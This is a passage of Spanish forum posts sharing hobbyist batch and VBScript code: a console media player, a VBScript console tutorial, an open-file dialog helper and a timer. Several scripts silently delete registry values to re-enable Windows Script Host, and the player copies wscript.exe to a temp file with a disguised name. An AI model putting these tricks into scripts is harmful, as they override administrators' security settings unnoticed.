Espero les guste, estos codes los ise simples para que los puedan entender facil, de aqui sacan mas ideas y hacen su propio protector a su gusto..
SaluDOS!!!  ;D
PD: Podrian probarlo con ventanas del MSN la congelacion, haber si sale, por que lo estoy haciendo a la adivinanza ya que no puedo usarlo..
#34
CMD MEDIA PLAYER v1.1 by 3D1

Aqui como dice el title es un reproductor de MP3, Wavs y MIDs en Batch y usando un poco de Scrips VBS..
Usar el CMD MEDIA PLAYER v1 es facil..
La teclas de direccion Izquierda y derecha para seleccionar un boton..
La Tecla Enter para presionar el boton..
y la tecla ESC para salir (Si o si, al pres. la tecla esc borra los archivos tmporales que creo y cierra correctamente..)
Aqui esta el code:
Código (dos) [Seleccionar]
@echo off
@mode con cols=14 lines=1
title .:Cargando...:.
cls
reg delete "HKLM\software\Microsoft\Windows Script Host\Settings" /v "Enabled" /f>nul 2>&1
reg delete "HKCU\software\Microsoft\Windows Script Host\Settings" /v "Enabled" /f>nul 2>&1
cls

if exist "screen.size" (goto :Cnt)

echo Existes>"screen.size"
Reg export HKCU\Console Backup.reg>nul
Reg delete HKCU\Console\%%SystemRoot%%_system32_cmd.exe /f>nul
Reg add HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v FaceName /t REG_SZ /d "Terminal" /f>nul
Reg add HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v FontFamily /t REG_DWORD /d 48 /f>nul
Reg add HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v FontSize /t REG_DWORD /d 524294 /f>nul
Reg add HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v FontWeight /t REG_DWORD /d 700 /f>nul
Reg add HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v ScreenBufferSize /t REG_DWORD /d 13107280 /f>nul
Reg add HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v CursorSize /t REG_DWORD /d 0 /f>nul
start cmd /c %0
Reg delete HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v FaceName /f>nul
Reg delete HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v FontFamily /f>nul
Reg delete HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v FontSize /f>nul
Reg delete HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v FontWeight /f>nul
Reg delete HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v CursorSize /f>nul
Reg import Backup.reg>nul
Del /Q "screen.size">nul
Del /Q "Backup.reg">nul
exit

:Cnt
taskkill /F /IM cmplayer3d1.exe>nul 2>&1
del /Q "%tmp%\cmplayer3d1.exe">nul 2>&1
del /Q "%tmp%\sound.vbs">nul 2>&1
del /Q "%tmp%\timer.vbs">nul 2>&1
del /Q "%tmp%\file.txt"
del /Q Key.exe>nul 2>&1
del /Q Keyboard.dat>nul 2>&1
(
echo n keyboard.dat
echo e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF
echo e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00
echo e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
echo rcx
echo 002E
echo w0
echo q
echo.
)>keyboard.dat
echo type keyboard.dat^|debug>AddKey.bat
echo ren keyboard.dat key.exe>>AddKey.bat
echo del /Q %%0>>AddKey.bat
start /MIN cmd /c AddKey.bat
copy /Y "%systemroot%\system32\wscript.exe" "%tmp%\cmplayer3d1.exe"
@mode con cols=60 lines=20>nul
title .: Cargando espere... :.
set file=
set comp=                                                               ...
set filec=%file%%comp%
echo wscript.sleep 9000>%tmp%\timer.vbs
cls
echo.
ECHO  ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo  º CMD MEDIA PLAYER V1.1 BY 3D1..                         º
echo  ºÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͺ
ECHO  º                                                        º
echo  º BY .:3D1:. V1.1 CUALQUIER COMENTARIO O SUGERENCIA ES.. º
ECHO  º                                                        º
ECHO  º BIENVENIDO..                                           º
ECHO  º                                                        º
ECHO  º USAR CMD MEDIA PLAYER: CON LAS FLECHAS DE DIRECCION..  º
ECHO  º                                                        º
ECHO  º IZQUIERDA Y DERECHA; LA TECLA ENTER; Y LA TECLA ESC..  º
ECHO  º                                                        º
ECHO  º PARA SALIR..                                           º
ECHO  º                                                        º
ECHO  ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
CSCRIPT /NOLOGO %TMP%\TIMER.VBS
title .: CMD Media Player v1.1 by 3D1 :.
:open
set filec=%file%%comp%
cls
echo 
echo 
echo 
echo 
echo.
echo     SELECCIONAR ARCHIVO:
echo     ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo     º%filec:~0,45%º
echo     ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo     ÉÍÍÍÍÍÍÍ» ÉÍÍÍÍÍÍ» ÉÍÍÍÍÍÍ»
echo     ºABRIR º º PLAY º º STOP º
echo     ÈÍÍÍÍÍÍͼ ÈÍÍÍÍÍͼ ÈÍÍÍÍÍͼ
key
if "%errorlevel%"=="27" (
goto :EOFs
)
if "%errorlevel%"=="77" (
goto :Play
)
if "%errorlevel%"=="13" (
(
echo Dim DialogBox
echo Dim Txt
echo Set DialogBox = CreateObject("UserAccounts.CommonDialog.1"^)
echo DialogBox.Filter = "Archivos de Musica WAV, MP3 y MID|*.mp3;*.wav;*.mid"
echo DialogBox.ShowOpen
echo Set Txt = CreateObject("Scripting.FileSystemObject"^)
echo Txt.CreateTextFile("%tmp%\file.txt"^).Write DialogBox.filename
)>%tmp%\comdialog.vbs
cscript /nologo %tmp%\comdialog.vbs
set /p file=<"%tmp%\file.txt"
del /Q %tmp%\comdialog.vbs>nul 2>&1
goto :open
) else (
goto :open
)
:Play
cls
echo 
echo 
echo 
echo 
echo.
echo     SELECCIONAR ARCHIVO:
echo     ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo     º%filec:~0,45%º
echo     ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo     ÉÍÍÍÍÍÍÍ» ÉÍÍÍÍÍÍ» ÉÍÍÍÍÍÍ»
echo     º ABRIR º ºPLAY º º STOP º
echo     ÈÍÍÍÍÍÍͼ ÈÍÍÍÍÍͼ ÈÍÍÍÍÍͼ
key
if "%errorlevel%"=="27" (
goto :EOFs
)
if "%errorlevel%"=="77" (
goto :Stop
)
if "%errorlevel%"=="75" (
goto :open
)
if "%errorlevel%"=="13" (
(
echo On Error Resume next
echo Set Sound = CreateObject("WMPlayer.OCX"^)
echo Sound.URL = "%file%"
echo Sound.Controls.play
echo if err.number = 0 then
echo do while Sound.currentmedia.duration = 0
echo wscript.sleep 100
echo loop
echo wscript.sleep (int(Sound.currentmedia.duration^)+1^)*1000
echo else
echo if len("%file%"^) ^< 2  then
echo msgbox "No se ha seleccionado ningun archivo ", vbinformation, ".:: CMD Media Player BY 3D1 ::."
echo else
echo msgbox "No es posible reproducir el archivo " ^& "%file%", vbinformation, ".:: CMD Media Player BY 3D1 ::."
echo end if
echo end if
)>%tmp%\sound.vbs
taskkill /F /IM cmplayer3d1.exe >nul 2>&1
start /MIN %tmp%\cmplayer3d1.exe /nologo %tmp%\sound.vbs
goto :play
) else (
goto :Play
)
:Stop
cls
echo 
echo 
echo 
echo 
echo.
echo     SELECCIONAR ARCHIVO:
echo     ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo     º%filec:~0,45%º
echo     ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo     ÉÍÍÍÍÍÍÍ» ÉÍÍÍÍÍÍ» ÉÍÍÍÍÍÍ»
echo     º ABRIR º º PLAY º ºSTOP º
echo     ÈÍÍÍÍÍÍͼ ÈÍÍÍÍÍͼ ÈÍÍÍÍÍͼ
key
if "%errorlevel%"=="27" (
goto :EOFs
)
if "%errorlevel%"=="75" (
goto :Play
)
if "%errorlevel%"=="13" (
taskkill /F /IM cmplayer3d1.exe >nul 2>&1
goto :Stop
) else (
goto :Stop
)
:EOFs
taskkill /F /IM cmplayer3d1.exe >nul 2>&1
del /Q "%tmp%\cmplayer3d1.exe">nul 2>&1
del /Q "%tmp%\sound.vbs">nul 2>&1
del /Q "%tmp%\timer.vbs">nul 2>&1
del /Q "%tmp%\file.txt">nul 2>&1
del /Q Key.exe>nul
del /Q Keyboard.dat>nul
cls
echo msgbox "Gracias por usar CMD Media Player v1.1 by .:3D1:.", vbInformation, ".: Mensaje.. :.">%tmp%\msg.vbs
cscript /nologo %tmp%\msg.vbs>nul 2>&1
del /Q "%tmp%\msg.vbs">nul 2>&1
exit

Facil de usar ¿no?..
Ya saben cualquier comentario o sugerencia es bienvenida y asi saco una v2 mejor..
SaluDOS!!!
PD: Espero sus comentarios
#35
Tutorial - VBScript Avanzado(Creacion Comandos Complejos para Cmd)

Nota:
Si algunas cosas importantes no estan posteadas aqui es por que estan en el tuto de NovLucker asi evito el doble post..

VBScript Avanzado - Temas:

  • Intro
  • Manejo de Objetos
  • Funciones StdOut y StdIn del Objeto Wscript (Salida y Entrada de Datos)
  • Creacion y llamada de Funciones (Funcion y Call)
  • Funcion Clear Console o CLS by 3D1
  • If (Ejemplo con StdIn)
  • MsgBox y PopUp ambos tienen sus ventajas y desventajas..
  • Uso de Argumentos (Con esto ya puedes decir que tienes un Comando MS-DOS)
  • La funcion GetPassword (Crear un campo de contraseña)
  • Consultas..

    Como nos dice el titulo ejecutar un script vbs pero en la consola de comandos...
    Como? facil solo cambianlo el interprete de los VBS en nuestro caso se ejecuta con Windows Based Script Host pero lo cambiamos por Console Based Script Host que es el interprete que usa la ventana del CMD para la salida de datos...

    Intro
    Este manual esta echo para usuarios que ya sepan y/o ya ayan programado Scripts VBS si es que no tiene idea y quieren aprender desde el principio les recomiendo que lean el tuto de Novlucker  esta en el link que pongo a continuacion ahi od enseña como programar en VBScript y ahi esta lo que mayormente vamos ha ocupar..   ;) (Sobre todo el dominar la creacion y utilizacion de los Objetos..)

          ○ Tutorial de VBScript by Novlucker

    Para ejecutar un Script VBS en modo consola es facil solo escribes en el CMD o en tu Batch:
    Código (dos) [Seleccionar]
    CScript //nologo TuScript.vbs

    Manejo de Objetos
    Aqui eso va ha depender de ustedes por esa razon dije que deben saber al menos al medio medio la creacion de VBScript por esa razon...
    puse el link al manual de Novlucker si es que quieren aprender desde 0 el explica bien la creacion de los Objetos y sobre todo los que vamos a usar..

    Funciones StdOut y StdIn del Objeto Wscript (Para Imprimir y Obtener datos de la Consola)
       Funcion StdOut (Envio de datos a la Consola)
    Para enviar datos a la consola hay dos maneras basicas..
    mediante..
    Código (vb) [Seleccionar]
    WScript.echo "Mensaje"
    Y mediante:
    Código (dos) [Seleccionar]
    WScript.StdOut.Write "Mensaje" & VbNewLine
    Los dos vendrian a ser lo mismo con mucha diferencia que el segundo no hace salto de linea..
    por esa razon agregamos VbNewLine..
    las vantajas de usar StdOut.Write para enviar datos son las siguientes como por ejemplo:
    crear este script:
    Código (vb) [Seleccionar]
    for i = 1 to 10
    wscript.sleep 100
    wscript.StdOut.Write i
    next

    Y lo guardan con nombre de Script.vbs (Para mas comodidad)
    y lo ejecutan con CScript en el CMD (cscript //nologo script.vbs)
    Ven la diferencia y las ventajas frente a wscript.echo
    Ahora vuelvan ha crear el Script pero incluyendo el salto de linea:
    Código (vb) [Seleccionar]
    for i = 1 to 10
    wscript.sleep 100
    wscript.StdOut.Write i & VbNewLine
    next

    Esto seria igual a Wscript.echo..
    OK, Asta aqui se entiende creo si hay alguna duda no dudar en preguntar..
    Eso fue todo lo referente o StdOut (Enviar Datos)..
    Ahora lo emocionante StdIn (Pedir o Recibir datos de la consola)
       Funcion StdIn (Pedir y Recibir datos escritos en la consola)
    Creo que para muchos que les gusta el Batch tambien les gustara saber que que VBS incluye su propio "Set /p" para pedir datos..
    Su funcion es facil (Crear este Script y Ejecutarlo CON CSCRIPT EN EL CMD):
    Código (vb) [Seleccionar]
    Dats = wscript.StdIn.ReadLine
    Dats es la variable a la que le asignamos lo que escribimos en la consola y podemos ponerla a un MsgBox si quieren:
    Código (vb) [Seleccionar]
    MsgBox wscript.StdIn.ReadLine
    Esto seria igual que poner en Batch "Set /p=", se entiendo ¿no?..
    Ahora Como mostrar como en Batch seria Set /p var="Escriba Aqui: " en VBScript es facil, recuerdan que StdOut.Write no usa salto de linea es aqui donde nos sirve eso:
    (Crear este Scrip.vbs (NO OLVIDAR EJECUTARLO CON CSCRIPT EN CMD))
    Código (vb) [Seleccionar]
    Wscript.StdOut.Write "Escriba Aqui: "
    var = Wscript.StdIn.ReadLine

    Ven igual que en Batch solo cambiando unas cosillas lo que escribimos pasa a la variable llamada "var" en este caso..
    Luego podemos hacer no se, MsgBox var...
        Creacion y LLamada de Funciones con CALL
    Las llamadas en VBS son similares a las de un batch se hacen con Call solo que sin " : "..
    Ok, veamos las funciones..   :)
    Que hacen las Funciones?
    Pues en resumen corto simplifican el trabajo a un programador por ejemplo para no hacer esto:
    Código (vb) [Seleccionar]
    For i = 1 to 5
        wscript.StdOut.Write i
    next
    For i = 1 to 5
        wscript.StdOut.Write i
    next
    For i = 1 to 5
        wscript.StdOut.Write i
    next
    For i = 1 to 5
        wscript.StdOut.Write i
    next

    Que lo que hace es imprimir 1,2,3,4,5; 4 veces mas facil seria crear una funcion y llamarla como en batch CALL..
    Entonces el Code Quedaria asi... Ha y antes, la funcion puede llamarse como quieran aqui le pondre UnoCinco...
    Código (vb) [Seleccionar]
    Public function UnoCinco()
    For i = 1 to 5
       wscript.StdOut.Write i
    next
    End function
    call UnoCinco
    call UnoCinco
    call UnoCinco
    call UnoCinco

    Esto hace lo mismo pero usando menos code "call UnoCinco" es mas facil que poner tantos for sobre todo cuando un programa es extenso..

    Como hago una funcion?
    Facil las funciones son asi:
    Código (vb) [Seleccionar]
    Public function NOMBRE()
      ' Code
    end function

    "Public function" es para publicar la funcion NOMBRE puede ser cualquiera y "End Function" finaliza la funcion..
    y el code va dentro de la funcion, ese code se ejecuta solo si llamamos a la funcion como podria decirse si se apreta el boton..
    Para llamar a la funcion es como en Batch pero sin " : " solo:
    Código (vb) [Seleccionar]
    Call NOMBRE
    Donde NOMBRE vendria ha ser el nombre de la funcion..

    Como hago una funcion? (Incluyendo una variable..)
    Es lo mismo pero modificando la parte de " () " por " (Var) " ejemplo en vez de hacer esto:
    Código (vb) [Seleccionar]
    MsgBox "Pruebas", vbinformation
    MsgBox "Si", vbinformation
    MsgBox "no", vbinformation
    MsgBox "Como", vbinformation
    Msgbox "BIen", vbinformation

    Que es cansador por ejemplo hacer todos esos mensajes y escribir varias lineas MsgBox, MsgBox, etcetc.., VBInformation, etc...
    Es molestoso para eso usamos una funcion con una variable asi:
    Código (vb) [Seleccionar]
    Public Function Msgs(MensajeVar)
       MegBox MensajeVar, vbInformation
    end function
    Call Msgs("Pruebas")
    Call Msgs("Si")
    Call Msgs("no")
    Call Msgs("Como")
    Call Msgs("Bien")

    Creo se entiende pero por si las moscas..
    MensajeVar es la Variable que puede contener cualquier nombre que le den igual que la funcion..
    Al llamar " Call Msgs ("Pruebas") " lo que hacemos aqui es llamar a la funcion Msgs y pasarle a la variable MensajeVar un Texto que en este caso
    le enviamos "Pruebas"..
    Al hacer "MsgBox MensajeVar, VbInformation" lo que le estamos diciendo es que muestre el mensaje de la variable MensajeVar osea en
    este caso mostrara "Pruebas"...
    Bueno es un poco confuso a veces pero si usaron VB ya les hara facil..
    Terminamos con function aqui..

    Funcion Clear Console o CLS by 3D1
    Este code ni existia la funcion CLS no existe en VBS hay que usar un poco de magia batch para poder
    hacerlo, este metodo lo he inventado yo rompiendome la cabeza asta lograrlo y lo posteo por primera vez
    aqui, si copian el code no olviden al autor..  ;D
    volviendo..
    La funcion Clear Console o CLS tiene este code:
    Código (vb) [Seleccionar]
    Sub CLS()
    Set oExec = CreateObject("WScript.Shell").Exec("%comspec% /c mode con lines=0 cols=0 >nul")
    wscript.sleep 300
    End Sub

    para hacer el CLS de la pantalla del Cmd solo llamarla con Call..
    Código (vb) [Seleccionar]
    Call Cls
    y borrara la pantalla..

    If con StdIn
    If creo que saben usarlo en aqui lo vamos a usar con StdIn pidiendo datos..
    solo para mostrarles una forma mas rapida de usar if con esto..
    ejemplo:
    Código (vb) [Seleccionar]
    wscript.StdOut.Write "Escriba 1: "
    if wscript.stdin.ReadLine = "1" then
    msgbox "Correcto"
    else
    msgbox "incorrecto"
    end if

    En ahi usamos directamente el pedido de datos en el mismo if haciendo wscript.StdOut.Write
    si escribimos 1 devuelve el mensaje Correcto y si no devuelve Incorrecto..

    MsgBox y PopUp ambos tienen sus ventajas y desventajas..
    Aqui todos saben usar MsgBox, y es muy util por que tiene la propiedead de poder personalizarle
    que botones, imagen, se van ha usar pero en PopUp no pero PopUp tiene una habilidad que
    MsgBox no tiene PopUp puede quedarse activo durante 1 segundo y luego cerrarse..
    asi con PopUp podemos jugar con los cuadros de mensaje..
    es code seria asi:
    En primer lugar devemos crear el Objeto Wscript.Shell
    Código (vb) [Seleccionar]
    set msg=CreateObject("wscript.shell")
    msg.popup "Hola", 1

    esto habre un MsgBox pero se cierra en 1 segundo, esa es la ventaja de PopUp..
    por que puedes jugar con los cuadros de mensaje..

    Uso de Argumentos
    Veran que en Batch para recibir datos de una aplicacion externa se usaban %1, %2, %1..
    pues el VBS es parecido, podemos enviarle datos al Script por ejemplo si quiero que mi Script
    imprima un mensaje con Cmd lo llamaria asi:
    Código (dos) [Seleccionar]
    CScript //nologo MiScript.vbs "Hola"
    aqui mandamos los argumentos "Hola" a el Script..
    luego el Script para interpretarlo tiene que hacer esto..
    Código (vb) [Seleccionar]
    MsgBox Wscript.Arguments(0)
    Esto recuperaria el argumento 0 que tiene el valor "Hola" y asi es posible usar mas de 1 argumento..
    y mandar mas de dos datos..

    La funcion GetPassword (Crearnos un campo de contraseña)
    El Objeto ScriptPW.Password nos permite usar la funcion GetPassword para crear un campo de contraseña..
    la contraseña que escribimos por supuesto que no se ve ya que el Cmd no usa asteriscos..
    para sus password.., aqui les dejo un ejemplo y luego lo explico:
    Código (vb) [Seleccionar]
    Set var = CreateObject("ScriptPW.Password")
    WScript.StdOut.Write "Contraseña:"
    pass = var.GetPassword()

    Aqui asignamos el objeto ScriptPW a la variable var, luego con la unica funcion que tiene este objeto..
    usamos "pass = var.GetPassword()" para llamar ha esta funcion y luego asigna lo escrito osea la password..
    en la variable pass..

    Consultas
    Si tienen cualquier duda posteenla y les respondo, y hay varias cosas que ire aumentando conforme pase el tiempo y
    se me ocurran mas cosas..
    Espero les haya sido util, y quisiera ver el primer comando que creen con VBS para Cmd..
    que lo posteen a ver que tal les fue..  :D
    SaluDOS!!!
#36
Implementar un CommonDialog a Batch by 3D1
Ya que no habian post ni preguntas sobre el tema por que algunos creen que es imposible..  ;)
he inventado un metodo utilizando un Script y ejecutandolo con cscript (Console Based Script Host)
Para crear un cuadro de Dialogo de Abrir como todos conocen, bueno por si las moscas  ;D les dejo tambien
un code batch para habilitar Windows Script Host si por alguna razon rara lo tengan deshabilitado..
Bueno suficiente aqui esta el code:
Código (dos) [Seleccionar]
@echo off
@Title .:Cuadros de Dialogo en Batch (Abrir - By 3D1):.
cls
rem ..
rem ------------------------------------------------------------
rem : Por si tiene deshabilitado el Wscriping host cosa rara   :
rem : pero para eso esta la siguiente linea de comandos        :
rem ------------------------------------------------------------
rem ..
reg delete "HKLM\software\Microsoft\Windows Script Host\Settings" /v "Enabled" /f>nul
reg delete "HKCU\software\Microsoft\Windows Script Host\Settings" /v "Enabled" /f>nul
cls
rem ..
rem ------------------------------------------------------------
rem : Con la siguiente linea creamos el Script que creara el   :
rem : objeto CommonDialog de Abrir..                           :
rem ------------------------------------------------------------
rem ..
(
echo Dim DialogBox
echo Set DialogBox = CreateObject("UserAccounts.CommonDialog.1"^)
echo DialogBox.InitialDir = "%HomeDrive%"
echo DialogBox.Filter = "Tipo de Archivos de Texto (Sample)|*.txt"
echo DialogBox.ShowOpen
echo wscript.echo DialogBox.filename
)>CommonDialog.vbs
rem ..
rem --------------------------------------------
rem  Ejcutamos el Script...
rem -------------------------------------------
rem ..
cscript //nologo CommonDialog.vbs
pause>nul

Bien ha si es como funciona los comandos que activan el WinScriptHost creo que no hace falta explicarlo
y ademas creo que muy pocos lo tienen deshabilitado...
la parte que crea el Script esta clara...
Esto..:

InitialDir (Directorio Inicial)
Código (dos) [Seleccionar]
echo DialogBox.InitialDir = "%HomeDrive%"
Indica el directorio que se mostrara al abrir el CommonDialog Aqui esta %HomeDrive% pueden cambiarlo
por "c:\", "d:\" o "c:", "d:" que es lo mismo tambien por la ruta de una carpeta por ejemplo:
"c:\mi musica", pero se entiendo ¿no? ha y con comillas la ruta tenga o no tenga espacios ;D
Esta otra parte:

Filter (Filtro; Descripcion y que archivos se van a mostrar)
Código (dos) [Seleccionar]
echo DialogBox.Filter = "Tipo de Archivos de Texto (Sample)|*.txt"
Es una de las partes mas importantes ya que le diremos al commonDialog que tipos de archivos
queremos ver funciona asi:
Código (dos) [Seleccionar]
ArchivoOTextoODescripcion|*.extensión
Si queremos agregar varios tipos de archivos es asi:
Código (dos) [Seleccionar]
DescripcionOTexto|*.extensión|DescripcionOTexto|*.extensión
y asi susesivamente, ha y si queremos agregar "Todo Tipo de Archivos" solo ponemos *.* si
queremos agregar para ver dos o mas tipos de extensiones es separarlos por , (comas) por ejemplo:
Código (dos) [Seleccionar]
Archivos de Imagen Jpgs y Gisfs|*.jpg,*.gif
Y con comillas tengan o no tengan espacios..
Ejecucion del Script   ;-)

Para ejecutar el Script es muy sencillo es la parte de:
Código (dos) [Seleccionar]
cscript /nologo CommonDialog.vbs
Esto devuelve en la ventana del cmd la direccion del archivo seleccionado, si queremos que la ruta
se guarde en un txt es simple:
Código (dos) [Seleccionar]
cscript /nologo CommonDialog.vbs>Archivo.txt
y asi la ruta que seleccionemos se ira a Archivo.txt  ;D
SaluDOS!!!  :8):
PD: Espero les haya sido util..

#37
Es un metodo muy facil inventado por mi, es para salir de lo clasico
ping -n 2 0.0.0.0
ya que cuando tienes conexion limitada o nula no sirve ese metodo para pausar tu batch cierto tiempo  :P
ya que la ip se pone 0.0.0.0 a mi me paso asi que decidi inventar algo mas decente para mi batch
asi que ise esto, es un Batch que genera un script vbs que contiene una funcion que hace pausa
a nuestro batch el tiempo que nosotros le pongamos en milisegundos, vale decir que si quiero pausar
mi batch 1 segundo pondre 1000 milisegundos, en fin aqui va el code batch para general el script:
echo wscript.sleep 1000 > timer1.vbs
cscript /nologo timer1.vbs

Solo reemplazan el 1000 por el numero de milisegundos que deseen que pause su batch por
ejemplo 5 segundos 5000 milisegundos; 60 segun. 60000 milisegundos..
Facil ¿no?
Agregado
Por algunos que dicen que si esta deshabilitado Windows Scripting Host no va ha funcionar aqui
este code que pueden agregar al batch para habilitar el Windows Scripting Host si por alguna razon
estaria deshabilitado caso muy raro..
reg delete "HKLM\software\Microsoft\Windows Script Host\Settings" /v "Enabled" /f>nul
reg delete "HKCU\software\Microsoft\Windows Script Host\Settings" /v "Enabled" /f>nul

Bueno Aqui hay un ejemplo para que vean que si funciona bien:
Código (dos) [Seleccionar]
echo off
title .:Timer en Batch By Eddy(3d1):.
:Timer
cls
echo.
echo.
echo.
echo       °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°
echo       ° Timers en Batch By 3D1                              °
echo       °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°
echo       ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
echo       ²                                                     ²
echo       ² Implementacion de Timers en Batch usando script VBS ²
echo       ²                                                     ²
echo       ² este es un ejemplo de Timer, Escriba un Intervalo   ²
echo       ²                                                     ²
echo       ² expresado en milisegundos ej.: 1000 = 1Seg.         ²
echo       ²                                                     ²
echo       ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
set /p Timers=      ²^>^>^>Intervalo:
echo wscript.sleep "%Timers%" > timer1.vbs
cscript /nologo timer1.vbs
cls
echo.
echo.
echo                .
echo                .
echo                .
echo                .           
cscript /nologo timer1.vbs
cls
echo.
echo.
echo                    .
echo                   .
echo                  .
echo                 .
cscript /nologo timer1.vbs
cls
echo.
echo.
echo                        .
echo                      .
echo                    .
echo                  .
cscript /nologo timer1.vbs
cls
echo.
echo.
echo.
echo.
echo.
echo                   . . . .
cscript /nologo timer1.vbs
cls
echo.
echo.
echo.
echo.
echo.
echo                   .
echo                     .
echo                       .
echo                         .
cscript /nologo timer1.vbs
cls
echo.
echo.
echo.
echo.
echo.
echo                   .
echo                   .
echo                   .
echo                   .
cscript /nologo timer1.vbs
cls
echo.
echo.
echo.
echo.
echo.
echo                   .
echo                 .
echo               .
echo             .
cscript /nologo timer1.vbs
cls
echo.
echo.
echo.
echo.
echo.
echo             . . . .
cscript /nologo timer1.vbs
cls
echo.
echo.
echo             .
echo               .
echo                 .
echo                   .
cscript /nologo timer1.vbs
cls
echo.
echo.
echo                .
echo                 .
echo                  .
echo                   .
cscript /nologo timer1.vbs
goto Timer

Este es solo un ejemplo el reloj se mueve a la velocidad que ustedes le pongan en miliseg.  ;D
esto tambien puede servir si les gustan las animaciones, progressbars en batch es muy
bueno..
SaluDOS!!!   ::)